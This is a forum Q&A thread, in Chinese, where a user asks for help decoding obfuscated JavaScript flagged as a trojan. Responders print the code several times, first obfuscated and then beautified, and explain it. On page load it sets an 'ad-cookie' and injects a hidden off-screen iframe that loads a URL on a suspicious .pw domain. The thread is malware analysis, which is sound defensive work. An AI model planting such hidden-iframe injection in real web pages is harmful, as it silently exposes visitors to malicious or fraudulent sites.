解密Javascript恶意软件



有人能让这段代码更可读、更容易理解吗?它被我的反病毒检测为特洛伊木马。我正在努力理解它:)

我是从这个问题中得到的

( function() {
})();

编辑

哇,我很惊讶人们一直抱怨我没有在这里添加代码,我故意在JSfiddle上添加了它,但没有在这里包含它,因为它会触发抗病毒,让你无法访问这个页面。我甚至不得不禁用我的AntiVirus来创建JSFiddle

将其放在javascript迷你程序中,然后放在美化程序中,使其不那么臃肿,更易于阅读

var a = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];
window[a[1]] = function() {
    function f(b, c, d) {
        if (d) {
            var e = new Date;
            e[a[2]](e[a[1]]() + d)
        }
        if (b && c) document[a[3]] =
            b + a[4] + c + (d ? a[5] + e[a[6]]() : a[7]);
        else return !1
    }
    if (function(b) {
            if (b = (new RegExp(b + a[8]))[a[9]](document[a[3]])) b = b[0][a[10]](a[4]);
            else return !1;
            return b[1] ? b[1] : !1
        }(a[11]) != a[12]) {
        f(a[11], a[12], 1);
        var c = document[a[14]](a[13]);
        c[a[17]] = a[18] + (a[15] + 983755 + a[16]) + a[19];
        document[a[21]][a[20]](c)
    }
}

当它被打开时,它变成:

window.onload = function() {
    function inject(b, c, d) {
        if (d) {
            var date = new Date;
            date.setDate(date.getDate() + d)
        }
        if (b && c) {
            document.cookie = b + "=" + c + (d ? "; expires=" + date.toUTCString() : "");
        }
        else {
            return false
        }
    }
    if (function(var1) {
        if (var1 = (new RegExp(var1 + "=([^;]){1,}")).exec(document.cookie)) 
            var1 = var1[0].split("=");
        else 
            return false;
        return var1[1] ? var1[1] : false
    }("ad-cookie") != "er2vdr5gdc3ds") {
        inject("ad-cookie", "er2vdr5gdc3ds", 1);
        var wrapper = document.createElement("div")
        wrapper.innerHTML = "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='" + ("http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=" + 983755 + "&ad_id=Xn5be4") + '></iframe></div>';
        document.body.appendChild(wrapper)
    }
}

这是他们如何混淆代码的一个例子

var code = "a".charCodeAt(0); // 97
var hexCode = code.toString(16); // 61
var escaped = "this is letter a: x61"
document.body.innerHTML = escaped // "this is letter a: a"

到目前为止,我已经设法获得:

var _0xacbd = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];
window[_0xacbd[0]] = function() {
function _0x78a6x1(_0x78a6x2, _0x78a6x3, _0x78a6x4) {
    if (_0x78a6x4) {
        var _0x78a6x5 = new Date();
        _0x78a6x5[_0xacbd[2]](_0x78a6x5[_0xacbd[1]]() + _0x78a6x4);
    };
if (_0x78a6x2 && _0x78a6x3) {
        document[_0xacbd[3]] = _0x78a6x2 + _0xacbd[4] + _0x78a6x3 + (_0x78a6x4 ? _0xacbd[5] + _0x78a6x5[_0xacbd[6]]() : _0xacbd[7])
    } else {
        return false
    };
}
function _0x78a6x6(_0x78a6x2) {
    var _0x78a6x3 = new RegExp(_0x78a6x2 + _0xacbd[8]);
    var _0x78a6x4 = _0x78a6x3[_0xacbd[9]](document[_0xacbd[3]]);
    if (_0x78a6x4) {
        _0x78a6x4 = _0x78a6x4[0][_0xacbd[10]](_0xacbd[4])
    } else {
        return false
    };
    return _0x78a6x4[1] ? _0x78a6x4[1] : false;
}
var _0x78a6x7 = _0x78a6x6(_0xacbd[11]);
    if (_0x78a6x7 != _0xacbd[12]) {
    _0x78a6x1(_0xacbd[11], _0xacbd[12], 1);
    var _0x78a6x8 = document[_0xacbd[14]](_0xacbd[13]);
    var _0x78a6x9 = 983755;
    var _0x78a6xa = _0xacbd[15] + _0x78a6x9 + _0xacbd[16];
    _0x78a6x8[_0xacbd[17]] = _0xacbd[18] + _0x78a6xa + _0xacbd[19];
    document[_0xacbd[21]][_0xacbd[20]](_0x78a6x8);
    };
};

据我所知,它打开了一个屏幕外呈现的指向恶意网站的iFrame。也许有更好的去模糊技术的人可以从中获得更多。

初始的var_0xacbd是一个带有字符串的数组。在整个代码中,存在诸如_0xacbd[4]_0xacbd[19]之类的引用。这对应于数组中的一个值。我现在没有时间匹配它们,但如果数组中的onload字符串是[0],下一个是[1],依此类推,如果有时间,你可能会知道发生了什么。

最新更新